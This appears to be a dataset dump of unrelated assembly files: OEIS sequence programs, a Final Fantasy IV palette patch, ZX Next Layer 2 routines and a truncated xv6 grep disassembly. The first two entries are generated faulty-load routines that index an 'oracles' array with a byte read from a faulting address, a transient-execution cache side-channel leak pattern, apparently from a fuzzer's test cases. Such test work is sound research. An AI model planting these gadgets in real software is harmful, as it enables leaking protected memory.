text
stringlengths
1
1.05M
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r8 push %r9 push %rax push %rcx lea addresses_WT_ht+0x12a8b, %r13 nop nop xor $46921, %r8 movb (%r13), %cl nop nop nop xor %rcx, %rcx lea addresses_D_ht+0x8543, %r12 nop nop nop nop dec %rax mov (%r12), %r11 nop nop nop dec %r8 lea addresses_WT_ht+0x1824b, %rax clflush (%rax) nop and $60725, %r9 mov (%rax), %r11w nop nop cmp %r13, %r13 lea addresses_WT_ht+0x1724b, %r12 cmp $11485, %r13 mov $0x6162636465666768, %rax movq %rax, (%r12) sub %r13, %r13 pop %rcx pop %rax pop %r9 pop %r8 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rax push %rcx push %rdi push %rsi // REPMOV mov $0xe4b, %rsi lea addresses_WC+0xdee5, %rdi nop nop and %r14, %r14 mov $10, %rcx rep movsq sub $55571, %rsi // Store lea addresses_PSE+0x18043, %rcx nop nop nop nop and $51720, %r8 mov $0x5152535455565758, %rdi movq %rdi, %xmm3 vmovntdq %ymm3, (%rcx) nop xor %r14, %r14 // Store lea addresses_A+0xb2d, %r13 nop nop nop nop nop add %rdi, %rdi mov $0x5152535455565758, %r14 movq %r14, %xmm3 vmovups %ymm3, (%r13) nop add %r8, %r8 // Faulty Load lea addresses_normal+0xe24b, %rax nop nop nop sub $31311, %rsi mov (%rax), %edi lea oracles, %r13 and $0xff, %rdi shlq $12, %rdi mov (%r13,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_P', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WC', 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': True, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 1}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 1, 'NT': True, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'34': 21} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x787c, %rsi lea addresses_WC_ht+0x183bc, %rdi nop nop sub %r13, %r13 mov $64, %rcx rep movsq nop cmp %r15, %r15 lea addresses_WT_ht+0x383c, %rbx nop add %rdx, %rdx mov $0x6162636465666768, %rdi movq %rdi, %xmm0 movups %xmm0, (%rbx) nop nop nop and %rcx, %rcx lea addresses_A_ht+0x1bebc, %rdi nop xor $5027, %rcx movb (%rdi), %bl nop cmp $390, %rdi lea addresses_WC_ht+0x19e3c, %r13 nop and $10151, %r15 movups (%r13), %xmm2 vpextrq $1, %xmm2, %rcx nop nop nop nop nop cmp %rbx, %rbx lea addresses_normal_ht+0x1093c, %r13 nop nop nop nop xor $8789, %r15 mov (%r13), %esi nop nop nop add $44283, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r9 push %rax push %rcx push %rdx // Store lea addresses_A+0xeaac, %rax nop nop nop sub $52493, %rdx mov $0x5152535455565758, %rcx movq %rcx, %xmm7 vmovups %ymm7, (%rax) nop xor %rax, %rax // Faulty Load mov $0xffcd200000006bc, %rax nop nop xor %r11, %r11 movb (%rax), %r9b lea oracles, %r11 and $0xff, %r9 shlq $12, %r9 mov (%r11,%r9,1), %r9 pop %rdx pop %rcx pop %rax pop %r9 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A291092: 1 followed by infinitely many 9's. ; 1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9 pow $1,$0 gcd $1,9 mov $0,$1
org $15B2FA ; Routine to hack skip 3 ; Skip to $15B2FD db $01 ; Apply second palette to character in Tellah position db $01 ; Apply second palette to character in Edward position db $00 ; Apply second palette to character in Rosa position db $02 ; Apply third palette to character in Yang position db $02 ; Apply third palette to character in Palom position db $02 ; Apply third palette to character in Porom position db $02 ; Apply third palette to character in Cecil (Paladin) position db $03 ; Apply fourth palette to character in Cid position db $03 ; Apply fourth palette to character in Rydia (Adult) position
; A046667: a(n) = A046666(n)/2. ; 0,0,1,0,2,0,3,3,4,0,5,0,6,6,7,0,8,0,9,9,10,0,11,10,12,12,13,0,14,0,15,15,16,15,17,0,18,18,19,0,20,0,21,21,22,0,23,21,24,24,25,0,26,25,27,27,28,0,29,0,30,30,31,30,32,0,33,33,34,0,35,0,36,36,37,35,38,0,39,39,40,0,41,40,42,42,43,0,44,42,45,45,46,45,47,0,48,48,49,0 lpb $0 sub $1,2 dif $0,$1 sub $0,1 add $1,1 lpe div $0,2
The wooden bridge rattles from the rush of water just below.
varL2_BANK_SELECTED DB 0 varL2_BUFFER_MODE DB 0 asm_l2_double_buffer_on: ld a,8 ld (varL2_BUFFER_MODE),a ret asm_l2_double_buffer_off: xor a ld (varL2_BUFFER_MODE),a ret ; "asm_l2_bank_select" ; " a = sepecific bank mask value to select, does not set varL2_BANK_SELECTED" asm_l2_bank_select: ld d,a ld a,(varL2_BUFFER_MODE) or LAYER2_VISIBLE_MASK | LAYER2_WRITE_ENABLE_MASK or d; | LAYER2_SHADOW_SCREEN_MASK ld bc, IO_LAYER2_PORT out (c),a ret ; "asm_l2_bank_select a = sepecific bank number to select, dsets varL2_BANK_SELECTED" asm_l2_bank_n_select: ld (varL2_BANK_SELECTED),a cp 0 jr nz,.nottopbank .topbank: ld a,LAYER2_SHIFTED_SCREEN_TOP jr asm_l2_bank_select .nottopbank: cp 1 jr nz,.notmiddlebank .middlebank: ld a,LAYER2_SHIFTED_SCREEN_MIDDLE jr asm_l2_bank_select .notmiddlebank: ld a,LAYER2_SHIFTED_SCREEN_BOTTOM ; default to bottom jr asm_l2_bank_select ; Note no ret as its handled by above routines ; "asm_l2_row_bank_select" ; "A (unsinged) = y row of pixel line from top, sets the bank to top middle or bottom and adjusts a reg to row memory address" ; "Could optimise by holding the previous bank but given its only an out statement it may not save T states at all" ; "destroys BC call de is safe a = adjusted poke pixel row" asm_l2_row_bank_select: cp 64 ; row < 64? jr nc, .l2rowGTE64 .l2rowLT64: ex af,af' ;ld a, LAYER2_VISIBLE_MASK | LAYER2_WRITE_ENABLE_MASK | LAYER2_SHIFTED_SCREEN_TOP | LAYER2_SHADOW_SCREEN_MASK ld a,(varL2_BUFFER_MODE) or LAYER2_VISIBLE_MASK | LAYER2_WRITE_ENABLE_MASK | LAYER2_SHIFTED_SCREEN_TOP ld bc, IO_LAYER2_PORT out (c),a xor a ; set a to 0 ld (varL2_BANK_SELECTED),a ; save selected bank number 0 ex af,af' ; return pixel poke unharmed ret .l2rowGTE64: cp 128 jr nc, .l2rowGTE128 .l2row64to127: ex af,af' ; ld a, LAYER2_VISIBLE_MASK | LAYER2_WRITE_ENABLE_MASK | LAYER2_SHIFTED_SCREEN_MIDDLE | LAYER2_SHADOW_SCREEN_MASK ld a,(varL2_BUFFER_MODE) or LAYER2_VISIBLE_MASK | LAYER2_WRITE_ENABLE_MASK | LAYER2_SHIFTED_SCREEN_MIDDLE ld bc, IO_LAYER2_PORT out (c),a ld a,1 ; set a to 1 ld (varL2_BANK_SELECTED),a ; save selected bank ex af,af' sub 64 ret .l2rowGTE128: ex af,af' ; ld a, LAYER2_VISIBLE_MASK | LAYER2_WRITE_ENABLE_MASK | LAYER2_SHIFTED_SCREEN_BOTTOM | LAYER2_SHADOW_SCREEN_MASK ld a,(varL2_BUFFER_MODE) or LAYER2_VISIBLE_MASK | LAYER2_WRITE_ENABLE_MASK | LAYER2_SHIFTED_SCREEN_BOTTOM ld bc, IO_LAYER2_PORT out (c),a ld a,1 ; set a to 2 ld (varL2_BANK_SELECTED),a ; save selected bank ex af,af' sub 128 ret
; A132078: Multiply previous term by 6 and reverse. ; 1,6,63,873,8325,5994,46953,817182,2903094,46581471,628884972,2389033773,83620243341,640064127105,362674830483,8982898406712,27204409379835,10972654622361,66143772953856,631327736268693,8512167146697873,83278108820037015,90222029256866994,469102145571233145,788937243782164182,2905892962643263374,44208595857775353471,628021256641575152562,2735190549489357218673,83021334163969234111461,667866404518389400821894,4631394046330117248917004,42020539430708977246388772,236233874368352485632321252 mov $1,6 lpb $0 sub $0,1 seq $1,4086 ; Read n backwards (referred to as R(n) in many sequences). mul $1,6 lpe div $1,6 mov $0,$1
_grep: file format elf32-i386 Disassembly of section .text: 00000000 <main>: } } int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: 83 ec 18 sub $0x18,%esp 14: 8b 01 mov (%ecx),%eax 16: 8b 59 04 mov 0x4(%ecx),%ebx int fd, i; char *pattern; if(argc <= 1){ 19: 83 f8 01 cmp $0x1,%eax } } int main(int argc, char *argv[]) { 1c: 89 45 e4 mov %eax,-0x1c(%ebp) int fd, i; char *pattern; if(argc <= 1){ 1f: 7e 76 jle 97 <main+0x97> printf(2, "usage: grep pattern [file ...]\n"); exit(); } pattern = argv[1]; 21: 8b 43 04 mov 0x4(%ebx),%eax 24: 83 c3 08 add $0x8,%ebx if(argc <= 2){ 27: 83 7d e4 02 cmpl $0x2,-0x1c(%ebp) 2b: be 02 00 00 00 mov $0x2,%esi if(argc <= 1){ printf(2, "usage: grep pattern [file ...]\n"); exit(); } pattern = argv[1]; 30: 89 45 e0 mov %eax,-0x20(%ebp) if(argc <= 2){ 33: 74 53 je 88 <main+0x88> 35: 8d 76 00 lea 0x0(%esi),%esi grep(pattern, 0); exit(); } for(i = 2; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ 38: 83 ec 08 sub $0x8,%esp 3b: 6a 00 push $0x0 3d: ff 33 pushl (%ebx) 3f: e8 ed 04 00 00 call 531 <open> 44: 83 c4 10 add $0x10,%esp 47: 85 c0 test %eax,%eax 49: 89 c7 mov %eax,%edi 4b: 78 27 js 74 <main+0x74> printf(1, "grep: cannot open %s\n", argv[i]); exit(); } grep(pattern, fd); 4d: 83 ec 08 sub $0x8,%esp if(argc <= 2){ grep(pattern, 0); exit(); } for(i = 2; i < argc; i++){ 50: 83 c6 01 add $0x1,%esi 53: 83 c3 04 add $0x4,%ebx if((fd = open(argv[i], 0)) < 0){ printf(1, "grep: cannot open %s\n", argv[i]); exit(); } grep(pattern, fd); 56: 50 push %eax 57: ff 75 e0 pushl -0x20(%ebp) 5a: e8 a1 01 00 00 call 200 <grep> close(fd); 5f: 89 3c 24 mov %edi,(%esp) 62: e8 b2 04 00 00 call 519 <close> if(argc <= 2){ grep(pattern, 0); exit(); } for(i = 2; i < argc; i++){ 67: 83 c4 10 add $0x10,%esp 6a: 39 75 e4 cmp %esi,-0x1c(%ebp) 6d: 7f c9 jg 38 <main+0x38> exit(); } grep(pattern, fd); close(fd); } exit(); 6f: e8 7d 04 00 00 call 4f1 <exit> exit(); } for(i = 2; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ printf(1, "grep: cannot open %s\n", argv[i]); 74: 50 push %eax 75: ff 33 pushl (%ebx) 77: 68 78 09 00 00 push $0x978 7c: 6a 01 push $0x1 7e: e8 ad 05 00 00 call 630 <printf> exit(); 83: e8 69 04 00 00 call 4f1 <exit> exit(); } pattern = argv[1]; if(argc <= 2){ grep(pattern, 0); 88: 52 push %edx 89: 52 push %edx 8a: 6a 00 push $0x0 8c: 50 push %eax 8d: e8 6e 01 00 00 call 200 <grep> exit(); 92: e8 5a 04 00 00 call 4f1 <exit> { int fd, i; char *pattern; if(argc <= 1){ printf(2, "usage: grep pattern [file ...]\n"); 97: 51 push %ecx 98: 51 push %ecx 99: 68 58 09 00 00 push $0x958 9e: 6a 02 push $0x2 a0: e8 8b 05 00 00 call 630 <printf> exit(); a5: e8 47 04 00 00 call 4f1 <exit> aa: 66 90 xchg %ax,%ax ac: 66 90 xchg %ax,%ax ae: 66 90 xchg %ax,%ax 000000b0 <matchstar>: return 0; } // matchstar: search for c*re at beginning of text int matchstar(int c, char *re, char *text) { b0: 57 push %edi b1: 56 push %esi b2: 53 push %ebx b3: 8b 74 24 10 mov 0x10(%esp),%esi b7: 8b 7c 24 14 mov 0x14(%esp),%edi bb: 8b 5c 24 18 mov 0x18(%esp),%ebx bf: 90 nop do{ // a * matches zero or more instances if(matchhere(re, text)) c0: 83 ec 08 sub $0x8,%esp c3: 53 push %ebx c4: 57 push %edi c5: e8 36 00 00 00 call 100 <matchhere> ca: 83 c4 10 add $0x10,%esp cd: 85 c0 test %eax,%eax cf: 75 1f jne f0 <matchstar+0x40> return 1; }while(*text!='\0' && (*text++==c || c=='.')); d1: 0f be 13 movsbl (%ebx),%edx d4: 84 d2 test %dl,%dl d6: 74 0c je e4 <matchstar+0x34> d8: 83 c3 01 add $0x1,%ebx db: 83 fe 2e cmp $0x2e,%esi de: 74 e0 je c0 <matchstar+0x10> e0: 39 f2 cmp %esi,%edx e2: 74 dc je c0 <matchstar+0x10> return 0; } e4: 5b pop %ebx e5: 5e pop %esi e6: 5f pop %edi e7: c3 ret e8: 90 nop e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi f0: 5b pop %ebx // matchstar: search for c*re at beginning of text int matchstar(int c, char *re, char *text) { do{ // a * matches zero or more instances if(matchhere(re, text)) return 1; f1: b8 01 00 00 00 mov $0x1,%eax }while(*text!='\0' && (*text++==c || c=='.')); return 0; } f6: 5e pop %esi f7: 5f pop %edi f8: c3 ret f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000100 <matchhere>: return 0; } // matchhere: search for re at beginning of text int matchhere(char *re, char *text) { 100: 57 push %edi 101: 56 push %esi 102: 53 push %ebx 103: 8b 44 24 10 mov 0x10(%esp),%eax 107: 8b 7c 24 14 mov 0x14(%esp),%edi if(re[0] == '\0') 10b: 0f b6 18 movzbl (%eax),%ebx 10e: 84 db test %bl,%bl 110: 74 5f je 171 <matchhere+0x71> return 1; if(re[1] == '*') 112: 0f be 50 01 movsbl 0x1(%eax),%edx 116: 80 fa 2a cmp $0x2a,%dl 119: 74 6b je 186 <matchhere+0x86> return matchstar(re[0], re+2, text); if(re[0] == '$' && re[1] == '\0') 11b: 80 fb 24 cmp $0x24,%bl 11e: 75 04 jne 124 <matchhere+0x24> 120: 84 d2 test %dl,%dl 122: 74 7a je 19e <matchhere+0x9e> return *text == '\0'; if(*text!='\0' && (re[0]=='.' || re[0]==*text)) 124: 0f b6 37 movzbl (%edi),%esi 127: 89 f1 mov %esi,%ecx 129: 84 c9 test %cl,%cl 12b: 74 53 je 180 <matchhere+0x80> 12d: 38 cb cmp %cl,%bl 12f: 74 05 je 136 <matchhere+0x36> 131: 80 fb 2e cmp $0x2e,%bl 134: 75 4a jne 180 <matchhere+0x80> return matchhere(re+1, text+1); 136: 83 c7 01 add $0x1,%edi 139: 83 c0 01 add $0x1,%eax } // matchhere: search for re at beginning of text int matchhere(char *re, char *text) { if(re[0] == '\0') 13c: 84 d2 test %dl,%dl 13e: 74 31 je 171 <matchhere+0x71> return 1; if(re[1] == '*') 140: 0f b6 58 01 movzbl 0x1(%eax),%ebx 144: 80 fb 2a cmp $0x2a,%bl 147: 74 40 je 189 <matchhere+0x89> return matchstar(re[0], re+2, text); if(re[0] == '$' && re[1] == '\0') 149: 80 fa 24 cmp $0x24,%dl 14c: 75 04 jne 152 <matchhere+0x52> 14e: 84 db test %bl,%bl 150: 74 4c je 19e <matchhere+0x9e> return *text == '\0'; if(*text!='\0' && (re[0]=='.' || re[0]==*text)) 152: 0f b6 37 movzbl (%edi),%esi 155: 89 f1 mov %esi,%ecx 157: 84 c9 test %cl,%cl 159: 74 25 je 180 <matchhere+0x80> 15b: 80 fa 2e cmp $0x2e,%dl 15e: 74 04 je 164 <matchhere+0x64> 160: 38 d1 cmp %dl,%cl 162: 75 1c jne 180 <matchhere+0x80> 164: 0f be d3 movsbl %bl,%edx return matchhere(re+1, text+1); 167: 83 c7 01 add $0x1,%edi 16a: 83 c0 01 add $0x1,%eax } // matchhere: search for re at beginning of text int matchhere(char *re, char *text) { if(re[0] == '\0') 16d: 84 d2 test %dl,%dl 16f: 75 cf jne 140 <matchhere+0x40> return 1; 171: b8 01 00 00 00 mov $0x1,%eax if(re[0] == '$' && re[1] == '\0') return *text == '\0'; if(*text!='\0' && (re[0]=='.' || re[0]==*text)) return matchhere(re+1, text+1); return 0; } 176: 5b pop %ebx 177: 5e pop %esi 178: 5f pop %edi 179: c3 ret 17a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 180: 5b pop %ebx return matchstar(re[0], re+2, text); if(re[0] == '$' && re[1] == '\0') return *text == '\0'; if(*text!='\0' && (re[0]=='.' || re[0]==*text)) return matchhere(re+1, text+1); return 0; 181: 31 c0 xor %eax,%eax } 183: 5e pop %esi 184: 5f pop %edi 185: c3 ret // matchhere: search for re at beginning of text int matchhere(char *re, char *text) { if(re[0] == '\0') return 1; if(re[1] == '*') 186: 0f be d3 movsbl %bl,%edx return matchstar(re[0], re+2, text); 189: 83 ec 04 sub $0x4,%esp 18c: 83 c0 02 add $0x2,%eax 18f: 57 push %edi 190: 50 push %eax 191: 52 push %edx 192: e8 19 ff ff ff call b0 <matchstar> 197: 83 c4 10 add $0x10,%esp if(re[0] == '$' && re[1] == '\0') return *text == '\0'; if(*text!='\0' && (re[0]=='.' || re[0]==*text)) return matchhere(re+1, text+1); return 0; } 19a: 5b pop %ebx 19b: 5e pop %esi 19c: 5f pop %edi 19d: c3 ret if(re[0] == '\0') return 1; if(re[1] == '*') return matchstar(re[0], re+2, text); if(re[0] == '$' && re[1] == '\0') return *text == '\0'; 19e: 31 c0 xor %eax,%eax 1a0: 80 3f 00 cmpb $0x0,(%edi) 1a3: 0f 94 c0 sete %al 1a6: eb ce jmp 176 <matchhere+0x76> 1a8: 90 nop 1a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000001b0 <match>: int matchhere(char*, char*); int matchstar(int, char*, char*); int match(char *re, char *text) { 1b0: 56 push %esi 1b1: 53 push %ebx 1b2: 83 ec 04 sub $0x4,%esp 1b5: 8b 74 24 10 mov 0x10(%esp),%esi 1b9: 8b 5c 24 14 mov 0x14(%esp),%ebx if(re[0] == '^') 1bd: 80 3e 5e cmpb $0x5e,(%esi) 1c0: 75 0f jne 1d1 <match+0x21> 1c2: eb 29 jmp 1ed <match+0x3d> 1c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return matchhere(re+1, text); do{ // must look at empty string if(matchhere(re, text)) return 1; }while(*text++ != '\0'); 1c8: 83 c3 01 add $0x1,%ebx 1cb: 80 7b ff 00 cmpb $0x0,-0x1(%ebx) 1cf: 74 16 je 1e7 <match+0x37> match(char *re, char *text) { if(re[0] == '^') return matchhere(re+1, text); do{ // must look at empty string if(matchhere(re, text)) 1d1: 83 ec 08 sub $0x8,%esp 1d4: 53 push %ebx 1d5: 56 push %esi 1d6: e8 25 ff ff ff call 100 <matchhere> 1db: 83 c4 10 add $0x10,%esp 1de: 85 c0 test %eax,%eax 1e0: 74 e6 je 1c8 <match+0x18> return 1; 1e2: b8 01 00 00 00 mov $0x1,%eax }while(*text++ != '\0'); return 0; } 1e7: 83 c4 04 add $0x4,%esp 1ea: 5b pop %ebx 1eb: 5e pop %esi 1ec: c3 ret int match(char *re, char *text) { if(re[0] == '^') return matchhere(re+1, text); 1ed: 83 c6 01 add $0x1,%esi 1f0: 89 74 24 10 mov %esi,0x10(%esp) do{ // must look at empty string if(matchhere(re, text)) return 1; }while(*text++ != '\0'); return 0; } 1f4: 83 c4 04 add $0x4,%esp 1f7: 5b pop %ebx 1f8: 5e pop %esi int match(char *re, char *text) { if(re[0] == '^') return matchhere(re+1, text); 1f9: e9 02 ff ff ff jmp 100 <matchhere> 1fe: 66 90 xchg %ax,%ax 00000200 <grep>: char buf[1024]; int match(char*, char*); void grep(char *pattern, int fd) { 200: 55 push %ebp 201: 57 push %edi int n, m; char *p, *q; m = 0; 202: 31 ff xor %edi,%edi char buf[1024]; int match(char*, char*); void grep(char *pattern, int fd) { 204: 56 push %esi 205: 53 push %ebx 206: 83 ec 0c sub $0xc,%esp 209: 8b 74 24 20 mov 0x20(%esp),%esi 20d: 8d 76 00 lea 0x0(%esi),%esi int n, m; char *p, *q; m = 0; while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){ 210: b8 00 04 00 00 mov $0x400,%eax 215: 83 ec 04 sub $0x4,%esp 218: 29 f8 sub %edi,%eax 21a: 50 push %eax 21b: 8d 87 80 0e 00 00 lea 0xe80(%edi),%eax 221: 50 push %eax 222: ff 74 24 30 pushl 0x30(%esp) 226: e8 de 02 00 00 call 509 <read> 22b: 83 c4 10 add $0x10,%esp 22e: 85 c0 test %eax,%eax 230: 0f 8e 91 00 00 00 jle 2c7 <grep+0xc7> m += n; 236: 01 c7 add %eax,%edi p = buf; 238: bb 80 0e 00 00 mov $0xe80,%ebx 23d: 8d 76 00 lea 0x0(%esi),%esi while((q = strchr(p, '\n')) != 0){ 240: 83 ec 08 sub $0x8,%esp 243: 6a 0a push $0xa 245: 53 push %ebx 246: e8 45 01 00 00 call 390 <strchr> 24b: 83 c4 10 add $0x10,%esp 24e: 85 c0 test %eax,%eax 250: 89 c5 mov %eax,%ebp 252: 74 3c je 290 <grep+0x90> *q = 0; if(match(pattern, p)){ 254: 83 ec 08 sub $0x8,%esp m = 0; while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){ m += n; p = buf; while((q = strchr(p, '\n')) != 0){ *q = 0; 257: c6 45 00 00 movb $0x0,0x0(%ebp) if(match(pattern, p)){ 25b: 53 push %ebx 25c: 56 push %esi 25d: e8 4e ff ff ff call 1b0 <match> 262: 83 c4 10 add $0x10,%esp 265: 85 c0 test %eax,%eax 267: 75 07 jne 270 <grep+0x70> 269: 8d 5d 01 lea 0x1(%ebp),%ebx 26c: eb d2 jmp 240 <grep+0x40> 26e: 66 90 xchg %ax,%ax *q = '\n'; 270: c6 45 00 0a movb $0xa,0x0(%ebp) write(1, p, q+1 - p); 274: 83 c5 01 add $0x1,%ebp 277: 83 ec 04 sub $0x4,%esp 27a: 89 e8 mov %ebp,%eax 27c: 29 d8 sub %ebx,%eax 27e: 50 push %eax 27f: 53 push %ebx 280: 89 eb mov %ebp,%ebx 282: 6a 01 push $0x1 284: e8 88 02 00 00 call 511 <write> 289: 83 c4 10 add $0x10,%esp 28c: eb b2 jmp 240 <grep+0x40> 28e: 66 90 xchg %ax,%ax } p = q+1; } if(p == buf) 290: 81 fb 80 0e 00 00 cmp $0xe80,%ebx 296: 74 28 je 2c0 <grep+0xc0> m = 0; if(m > 0){ 298: 85 ff test %edi,%edi 29a: 0f 8e 70 ff ff ff jle 210 <grep+0x10> m -= p - buf; 2a0: 89 d8 mov %ebx,%eax memmove(buf, p, m); 2a2: 83 ec 04 sub $0x4,%esp p = q+1; } if(p == buf) m = 0; if(m > 0){ m -= p - buf; 2a5: 2d 80 0e 00 00 sub 